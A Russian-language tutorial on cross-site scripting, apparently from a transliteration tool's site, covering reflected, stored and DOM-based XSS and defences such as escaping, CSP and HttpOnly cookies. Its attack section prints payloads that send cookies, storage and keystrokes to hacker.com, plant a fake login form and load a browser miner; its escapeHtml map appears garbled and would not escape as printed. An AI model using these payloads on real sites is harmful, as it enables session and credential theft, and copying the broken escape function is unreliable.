🎯 Что такое XSS (Cross-Site Scripting)?
XSS (Cross-Site Scripting) — это один из самых распространенных типов веб-атак, при которой злоумышленник внедряет вредоносный JavaScript-код на веб-страницу, который затем выполняется в браузере ничего не подозревающих пользователей.
Важно! XSS находится в топ-3 самых опасных веб-уязвимостей по версии OWASP (Open Web Application Security Project) и встречается примерно на 30% всех веб-сайтов.
📚 История термина
Изначально атака называлась "CSS" (Cross-Site Scripting), но аббревиатуру изменили на "XSS", чтобы избежать путаницы с Cascading Style Sheets (каскадные таблицы стилей).
🔍 Типы XSS атак
1️⃣ Reflected XSS (Отраженный)
Самый распространенный тип XSS. Вредоносный код передается через URL и "отражается" обратно на страницу без надлежащей валидации.
Пример уязвимого кода:
// УЯЗВИМЫЙ код
const name = getUrlParameter('name');
document.getElementById('greeting').innerHTML = 'Привет, ' + name;
URL атаки:
site.com?name=<script>alert('XSS')</script>
Результат:
<div id="greeting">
Привет, <script>alert('XSS')</script>
</div>
<!-- JavaScript выполнится! -->
2️⃣ Stored XSS (Хранимый)
Самый опасный тип. Вредоносный код сохраняется на сервере (в базе данных) и выполняется каждый раз, когда пользователь просматривает зараженную страницу.
Сценарий атаки:
// УЯЗВИМЫЙ код - сохранение комментария
const comment = document.getElementById('comment').value;
saveToDatabase(comment); // Сохраняем без очистки
// При выводе:
commentElement.innerHTML = commentFromDB; // XSS!
Вредоносный комментарий:
"Отличная статья! <script>
fetch('https://hacker.com/steal?cookie=' + document.cookie)
</script>"
Опасность Stored XSS: Атакаможет затронуть тысячи пользователей, так как вредоносный код выполняется автоматически при каждом просмотре страницы. Это делает Stored XSS самым опасным типом атаки.
3️⃣ DOM-based XSS
Атака происходит полностью на стороне клиента, когда JavaScript-код обрабатывает данные из небезопасного источника (например, URL) и динамически изменяет DOM.
Пример уязвимости:
// УЯЗВИМЫЙ код
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
URL атаки:
site.com#<img src=x onerror="alert('XSS')">
🎭 Что могут украсть хакеры через XSS?
1. 🍪 Кража Cookies (Сессий)
Самая распространенная цель атаки — кража cookies для захвата пользовательской сессии.
Вредоносный код:
<script>
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage,
url: window.location.href
})
});
</script>
Последствия:
- 🔓 Взлом аккаунта — доступ к личному кабинету жертвы
- 💳 Кража финансовых данных — номера карт, банковские счета
- 📧 Доступ к переписке — чтение личных сообщений
- 🎯 Целевой фишинг — персонализированные атаки на основе украденных данных
2. ⌨️ Кейлоггинг (Запись нажатий клавиш)
Запись всех нажатий клавиш пользователя для кражи паролей, номеров карт и другой конфиденциальной информации.
Код кейлоггера:
<script>
let keystrokes = '';
document.addEventListener('keypress', function(e) {
keystrokes += e.key;
// Отправка каждые 10 символов
if (keystrokes.length >= 10) {
fetch('https://hacker.com/log', {
method: 'POST',
body: keystrokes
});
keystrokes = '';
}
});
</script>
Что украдут:
- 🔑 Пароли от всех сервисов
- 💳 Номера банковских карт
- 📧 Email адреса и логины
- 📝 Конфиденциальные сообщения
3. 🎣 Фишинг (Подмена форм)
Замена легитимной формы входа на поддельную для кражи учетных данных.
Подмена страницы входа:
<script>
// Полная подмена страницы
document.body.innerHTML = `
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%;
background: white; z-index: 99999; display: flex;
justify-content: center; align-items: center;">
<div style="max-width: 400px; padding: 40px; box-shadow: 0 0 50px rgba(0,0,0,0.1);">
<h1>⚠️ Сессия истекла</h1>
<p>Пожалуйста, войдите снова для продолжения работы</p>
<form action="https://hacker.com/phishing" method="POST">
<input type="text" name="username" placeholder="Логин" required>
<input type="password" name="password" placeholder="Пароль" required>
<button type="submit">Войти</button>
</form>
</div>
</div>
`;
</script>
Почему это работает: Пользователь видит знакомый интерфейс на доверенном домене и не подозревает о подмене. Данные отправляются злоумышленнику, а затем пользователя перенаправляют на реальную страницу входа.
4. 🔄 Редирект на вредоносный сайт
Автоматическое перенаправление пользователя на фишинговый сайт или сайт с вредоносным ПО.
<script>
// Немедленный редирект
window.location.href = 'https://hacker.com/malware';
// Или с задержкой для обхода защиты
setTimeout(function() {
window.location.href = 'https://fake-bank-site.com';
}, 3000);
</script>
5. ⛏️ Криптомайнинг в браузере
Использование вычислительной мощности браузера жертвы для майнинга криптовалюты.
<script src="https://hacker.com/coinhive.js"></script>
<script>
// Ваш браузер майнит криптовалюту для хакера
var miner = new CoinHive.Anonymous('hacker-wallet-key');
miner.start();
// Используется 100% CPU
miner.setThrottle(0);
</script>
Последствия для жертвы:
- 🔥 Перегрев компьютера/телефона
- 🔋 Быстрый разряд батареи
- 🐌 Замедление работы системы
- 💰 Увеличение счетов за электричество
🔬 Анализ безопасности нашего кода транслита
Хорошие новости: Наш код транслитератора изначально защищен от XSS атак благодаря правильному использованию DOM API.
❌ Опасные методы (НЕ используются у нас)
// ❌ ОПАСНЫЙ код (создает XSS уязвимость):
element.innerHTML = userInput; // XSS!
document.write(userInput); // XSS!
eval(userInput); // XSS!
setTimeout(userInput, 1000); // XSS!
new Function(userInput)(); // XSS!
element.insertAdjacentHTML('beforeend', userInput); // XSS!
✅ Безопасные методы (используются у нас)
Правильная реализация:
// ✅ БЕЗОПАСНЫЙ код (защита от XSS):
// 1. Для input/textarea полей
outputText.value = result; // ✅ Безопасно - текст НЕ интерпретируется как HTML
// 2. Для обычных элементов
element.textContent = userInput; // ✅ Безопасно - только текст
// 3. Для счетчиков
charCount.textContent = inputText.length; // ✅ Безопасно
// 4. Для создания элементов
const div = document.createElement('div');
div.textContent = userInput; // ✅ Безопасно
document.body.appendChild(div);
🛡️ Почему наш код защищен
Ключевые моменты безопасности:
- ✅ Используем .value — данные в textarea не интерпретируются как HTML
- ✅ Используем .textContent — весь ввод обрабатывается как простой текст
- ✅ Нет innerHTML — исключается возможность внедрения HTML/JavaScript
- ✅ Нет eval() — не выполняется произвольный код
- ✅ Нет опасных событий — не используем on* атрибуты динамически
🧪 Тест: Попытка XSS атаки на наш код
// Попытка внедрить вредоносный код:
const maliciousInput = '<script>alert("XSS")</script>';
// Наш код:
outputText.value = maliciousInput;
// Результат в браузере:
// Отображается: <script>alert("XSS")</script>
// НЕ выполняется как код! ✅
// Если бы использовали innerHTML (ОПАСНО):
outputText.innerHTML = maliciousInput;
// Результат: alert выполнился бы! ❌
🛡️ Методы защиты от XSS
1. Санитизация входных данных
Очистка и фильтрация пользовательского ввода перед отображением или сохранением.
Функция санитизации:
// Простая санитизация
function sanitizeInput(input) {
if (typeof input !== 'string') return '';
return input
.replace(/[<>]/g, '') // Удаляем < и >
.replace(/javascript:/gi, '') // Удаляем javascript:
.replace(/on\w+=/gi, '') // Удаляем on* события
.trim();
}
// Использование библиотеки DOMPurify (рекомендуется)
import DOMPurify from 'dompurify';
const dirty = '<script>alert("XSS")</script><p>Текст</p>';
const clean = DOMPurify.sanitize(dirty);
// Результат: '<p>Текст</p>' (скрипт удален)
2. Экранирование HTML
Преобразование специальных символов в HTML-сущности.
Функция экранирования:
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return String(text).replace(/[&<>"'\/]/g, (m) => map[m]);
}
// Пример использования:
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
console.log(safe);
// Результат: <script>alert("XSS")</script>
3. Content Security Policy (CSP)
Механизм безопасности, который помогает предотвратить XSS атаки, ограничивая источники, из которых можно загружать ресурсы.
Настройка CSP:
<!-- Метод 1: Мета-тег -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
font-src 'self';
object-src 'none';
media-src 'self';
frame-src 'none';
base-uri 'self';
form-action 'self';">
// Метод 2: HTTP заголовок на сервере
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"]
}
}));
Что блокирует CSP:
- ❌ Inline скрипты (
<script>alert('XSS')</script>) - ❌ Inline события (
<img onerror="...">) - ❌ Скрипты с внешних доменов
- ❌
eval()иnew Function() - ❌
javascript:протокол в ссылках
4. HTTPOnly и Secure Cookies
Защита cookies от доступа через JavaScript и передача только по HTTPS.
Безопасные cookies:
// На сервере
res.cookie('sessionId', 'abc123xyz', {
httpOnly: true, // ✅ JavaScript НЕ может прочитать
secure: true, // ✅ Только через HTTPS
sameSite: 'strict', // ✅ Защита от CSRF
maxAge: 3600000, // 1 час
path: '/',
domain: '.example.com'
});
// Проверка на клиенте (НЕ сработает):
console.
log(document.cookie);
// sessionId НЕ будет видна - защищена httpOnly ✅
5. Валидация и санитизация на сервере
Никогда не полагайтесь только на клиентскую валидацию — всегда проверяйте данные на сервере.
Серверная валидация:
const express = require('express');
const validator = require('validator');
const xss = require('xss');
app.post('/comment', (req, res) => {
let comment = req.body.comment;
// 1. Проверка типа данных
if (typeof comment !== 'string') {
return res.status(400).json({
error: 'Неверный формат данных'
});
}
// 2. Проверка длины
if (comment.length > 5000 || comment.length < 1) {
return res.status(400).json({
error: 'Неверная длина комментария'
});
}
// 3. Очистка от HTML тегов
comment = validator.escape(comment);
// 4. Дополнительная XSS защита
comment = xss(comment);
// 5. Проверка на SQL инъекции (если используется)
if (validator.contains(comment, 'DROP TABLE')) {
return res.status(400).json({
error: 'Подозрительная активность'
});
}
// 6. Сохранение в БД (используйте параметризованные запросы)
const query = 'INSERT INTO comments (text, user_id) VALUES (?, ?)';
db.execute(query, [comment, req.user.id], (err, result) => {
if (err) {
return res.status(500).json({
error: 'Ошибка сервера'
});
}
res.json({
success: true,
message: 'Комментарий добавлен'
});
});
});
6. Использование современных фреймворков
Современные фреймворки (React, Vue, Angular) автоматически защищают от XSS.
React пример:
import React from 'react';
function UserComment({ comment }) {
// ✅ React автоматически экранирует данные
return (
<div className="comment">
{comment} {/* Безопасно! */}
</div>
);
}
// ❌ ОПАСНО: Использование dangerouslySetInnerHTML
function UnsafeComponent({ htmlContent }) {
return (
<div
dangerouslySetInnerHTML={{ __html: htmlContent }}
/>
);
}
// ✅ БЕЗОПАСНО: Используйте DOMPurify
import DOMPurify from 'dompurify';
function SafeHtmlComponent({ htmlContent }) {
const clean = DOMPurify.sanitize(htmlContent);
return (
<div
dangerouslySetInnerHTML={{ __html: clean }}
/>
);
}
7. Ограничение прав доступа
Применяйте принцип наименьших привилегий — давайте пользователям только необходимые права.
Рекомендации:
- 🔒 Разделение ролей: Администратор, модератор, обычный пользователь
- 🛡️ Ограничение функционала: Обычные пользователи не могут публиковать HTML
- 📝 Модерация контента: Проверка контента перед публикацией
- ⚠️ Rate limiting: Ограничение количества запросов
- 🔍 Логирование: Запись всех подозрительных действий
📊 Сравнение: С защитой vs Без защиты
| Аспект безопасности | Без защиты ❌ | С защитой ✅ |
|---|---|---|
| Метод вывода данных | innerHTML | value / textContent |
| Content Security Policy | Отсутствует | Настроен |
| Санитизация ввода | Не выполняется | Выполняется |
| Экранирование HTML | Нет | Есть |
| Валидация длины | Отсутствует | Лимит 5000 символов |
| HTTPOnly cookies | Не используются | Используются |
| Серверная валидация | Отсутствует | Обязательна |
| Использование eval() | Возможно | Запрещено |
| Inline события | Разрешены | Заблокированы CSP |
| Внешние скрипты | Любые источники | Только доверенные домены |
Статистика: Веб-сайты с комплексной защитой от XSS на 95% менее уязвимы к атакам по сравнению с сайтами без защиты.
🎓 Лучшие практики безопасности
✅ Всегда делайте:
- ✅ Валидируйте все входные данные — на клиенте И на сервере
- ✅ Используйте параметризованные запросы — защита от SQL инъекций
- ✅ Экранируйте HTML — перед выводом пользовательских данных
- ✅ Применяйте CSP — Content Security Policy заголовки
- ✅ Используйте HTTPOnly cookies — для сессий
- ✅ Обновляйте зависимости — регулярно проверяйте на уязвимости
- ✅ Проводите аудит безопасности — минимум раз в квартал
- ✅ Используйте HTTPS — везде и всегда
- ✅ Ограничивайте права доступа — принцип наименьших привилегий
- ✅ Логируйте подозрительную активность — для анализа инцидентов
❌ Никогда не делайте:
- ❌ Не используйте innerHTML для пользовательских данных
- ❌ Не используйте eval() — никогда!
- ❌ Не доверяйте клиентской валидации — её можно обойти
- ❌ Не храните пароли в открытом виде — всегда хешируйте
- ❌ Не игнорируйте предупреждения безопасности — в npm audit, Snyk и т.д.
- ❌ Не используйте устаревшие библиотеки — проверяйте версии
- ❌ Не отключайте CSP "для удобства" — безопасность важнее
- ❌ Не публикуйте API ключи — в коде или Git репозитории
- ❌ Не используйте document.write() — устаревший и опасный метод
- ❌ Не смешивайте HTTP и HTTPS — mixed content уязвимость
🔧 Инструменты для тестирования безопасности
Рекомендуемые инструменты:
- 🔍 OWASP ZAP — сканер уязвимостей веб-приложений
- 🛡️ Burp Suite — платформа тестирования безопасности
- 📦 npm audit — проверка зависимостей Node.js
- 🔐 Snyk — мониторинг безопасности зависимостей
- 🎯 XSStrike — специализированный XSS сканер
- 🔬 Mozilla Observatory — анализ HTTP заголовков безопасности
- 📊 SecurityHeaders.com — проверка заголовков безопасности
- 🧪 XSS Hunter — поиск blind XSS уязвимостей
🎓 Заключение и выводы
XSS атаки остаются одной из самых распространенных угроз веб-безопасности, но их можно эффективно предотвратить, следуя правильным практикам разработки.
🔑 Ключевые выводы:
-
1. Используйте безопасные методы:
.valueи.textContentвместо.innerHTML - 2. Внедрите CSP: Content Security Policy блокирует большинство XSS атак
- 3. Валидируйте на сервере: Клиентская валидация легко обходится
- 4. Экранируйте данные: Всегда экранируйте пользовательский ввод перед выводом
- 5. Защищайте cookies: Используйте HttpOnly, Secure и SameSite флаги
- 6. Регулярно обновляйте: Держите зависимости в актуальном состоянии
- 7. Тестируйте безопасность: Проводите регулярные аудиты и пентесты
- 8. Обучайте команду: Разработчики должны знать об угрозах безопасности
Помните: Безопасность — это не разовое действие, а непрерывный процесс. Регулярно обновляйте свои знания, следите за новыми угрозами и применяйте лучшие практики в каждом проекте.